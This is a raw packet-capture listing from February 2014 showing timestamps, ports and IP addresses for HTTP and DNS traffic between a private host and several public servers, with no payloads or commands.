Feb 27, 2014 17:54:22.262506962 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:22.262517929 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:22.262527943 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:22.263134003 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:22.263187885 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:22.263319016 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:22.263439894 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:22.425287008 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:22.661838055 MEZ	53	64025	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:22.661874056 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:22.661880016 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:22.661885023 MEZ	80	1042	209.107.220.51	192.168.0.18
Feb 27, 2014 17:54:22.661986113 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:22.665833950 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:22.665860891 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:22.665971994 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:22.667722940 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:22.667742968 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:22.709772110 MEZ	53	64025	195.186.4.121	192.168.0.18
Feb 27, 2014 17:54:22.709810972 MEZ	53	64025	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:22.751683950 MEZ	54236	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:22.862617970 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:54:22.879714012 MEZ	80	1041	173.201.146.1	192.168.0.18
Feb 27, 2014 17:54:22.880153894 MEZ	1041	80	192.168.0.18	173.201.146.1
Feb 27, 2014 17:54:23.121083021 MEZ	53	54236	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:23.123915911 MEZ	1047	80	192.168.0.18	64.18.20.10
Feb 27, 2014 17:54:23.123934031 MEZ	80	1047	64.18.20.10	192.168.0.18
Feb 27, 2014 17:54:23.124015093 MEZ	1047	80	192.168.0.18	64.18.20.10
Feb 27, 2014 17:54:23.125508070 MEZ	1047	80	192.168.0.18	64.18.20.10
Feb 27, 2014 17:54:23.125518084 MEZ	80	1047	64.18.20.10	192.168.0.18
Feb 27, 2014 17:54:23.628520012 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:23.847328901 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:23.847343922 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:23.909012079 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:23.909019947 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:23.909123898 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:23.909135103 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:23.909154892 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:23.909158945 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:23.909274101 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:23.909281015 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:23.909320116 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:24.065826893 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:24.065838099 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.197962999 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.197969913 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.198049068 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.198204041 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.198216915 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.198349953 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:24.198359013 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.198431969 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:24.198458910 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:24.198599100 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:24.246001959 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.393806934 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:24.393819094 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.487195969 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.487214088 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.487216949 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.487221003 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.487344027 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:24.487363100 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.487407923 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:24.487569094 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:24.559715033 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:24.559746981 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.559859037 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:24.561151981 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:24.561161995 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.801261902 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.801270008 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.801273108 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.801275969 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.801279068 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.801384926 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:24.801429987 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:24.801435947 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:24.801467896 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:24.940749884 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:25.042165995 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.042176962 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.042180061 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.042184114 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.042186975 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.042300940 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:25.042347908 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:25.042356014 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.042388916 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:25.042470932 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:25.284048080 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.284080029 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.284091949 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.284104109 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.284112930 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.284730911 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:25.284929037 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:25.284959078 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.285098076 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:25.487544060 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:25.524427891 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.524435997 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.524437904 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.524441004 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.524444103 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.524564981 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:25.524610043 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:25.524616003 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.524648905 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:25.524729013 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:25.572433949 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.572451115 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.572453976 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.572547913 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:25.706423044 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:25.813343048 MEZ	80	1047	64.18.20.10	192.168.0.18
Feb 27, 2014 17:54:25.813361883 MEZ	80	1047	64.18.20.10	192.168.0.18
Feb 27, 2014 17:54:25.813370943 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.813375950 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.813491106 MEZ	1047	80	192.168.0.18	64.18.20.10
Feb 27, 2014 17:54:25.813539028 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.813543081 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.813591957 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:25.813600063 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:25.813690901 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:25.871321917 MEZ	55681	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:25.925645113 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:26.102904081 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.102935076 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.102946997 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.103423119 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:26.103538036 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.103565931 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.103754997 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:26.103787899 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.104249001 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:26.253230095 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:26.333292007 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.333323002 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.333334923 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.333746910 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:26.333937883 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:26.429167032 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.429177999 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.429179907 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.429285049 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:26.477845907 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.477874041 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.477888107 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.478308916 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:26.478358984 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.478538036 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:26.690922976 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:26.718482971 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.718492985 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.718496084 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.718502998 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.718506098 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.718619108 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:26.718667030 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:26.718673944 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.718708038 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:26.862644911 MEZ	55681	53	192.168.0.18	195.186.4.121
Feb 27, 2014 17:54:26.909379005 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:26.910969973 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.910978079 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.910980940 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:26.911106110 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:26.911150932 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:27.007216930 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.007226944 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.007230043 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.007571936 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:27.007632017 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:27.007647991 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.055294037 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.055301905 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.055402994 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:27.055414915 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.055516005 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:27.103487015 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.103496075 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.103501081 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.103610992 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:27.103858948 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.103939056 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:27.103949070 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.151465893 MEZ	53	55681	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:27.173083067 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:27.173111916 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:27.173202991 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:27.176067114 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:27.176078081 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:27.221551895 MEZ	53	55681	195.186.4.121	192.168.0.18
Feb 27, 2014 17:54:27.237446070 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:27.554409027 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.555162907 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.555233955 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:27.555243015 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.602963924 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.603061914 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:27.603074074 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.611202955 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.611288071 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:27.611299992 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.611413956 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.611515045 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:27.611532927 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.651460886 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.651559114 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:27.651577950 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.784384012 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:27.796641111 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.989208937 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.989219904 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.989233971 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.989341974 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:27.989353895 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.989366055 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.989372015 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.989392996 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:27.989495993 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:27.989502907 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:27.989624977 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:28.229827881 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.229846001 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.229849100 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.229932070 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:28.229998112 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.230003119 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.230091095 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:28.230109930 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.230242968 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:28.277776003 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.278212070 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.278218031 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.278331041 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:28.278351068 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.278515100 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:28.557080030 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.557100058 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.557104111 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.557180882 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:28.557245016 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:28.557261944 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.557364941 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:28.557383060 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.762660027 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:28.762675047 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:28.768850088 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:28.845969915 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.845978975 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.845982075 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.845984936 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.845987082 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.846071005 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:28.846105099 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:28.846111059 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:28.846194029 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:29.038448095 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.038460016 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.038461924 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.039426088 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:29.134690046 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.134697914 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.134780884 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:29.134790897 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.134919882 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:29.182877064 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.182894945 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.182898045 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.183012962 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:29.315924883 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:29.423919916 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.423930883 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.423933029 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.423953056 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.423955917 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.424076080 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:29.424112082 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:29.424117088 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.424209118 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:29.652753115 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.652771950 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.652774096 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.652884960 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:29.749104023 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.749113083 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.749118090 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.749177933 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:29.749202013 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:29.749212980 MEZ	80	1048	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:29.749247074 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:29.862406015 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:29.862437010 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:29.862445116 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:29.990025043 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:29.990042925 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:29.990047932 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:29.990166903 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:29.990187883 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:29.990245104 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:29.990246058 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:29.990251064 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:29.990345001 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:29.990350962 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:29.990483046 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:30.278809071 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.278829098 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.278831959 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.278939009 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:30.278970003 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.278984070 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.279098034 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:30.279105902 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.279242992 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:30.567636967 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.567646980 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.567660093 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.567667007 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.567670107 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.567807913 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:30.567847013 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:30.567852974 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.567981005 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:30.615631104 MEZ	80	1049	207.46.206.30	192.168.0.18
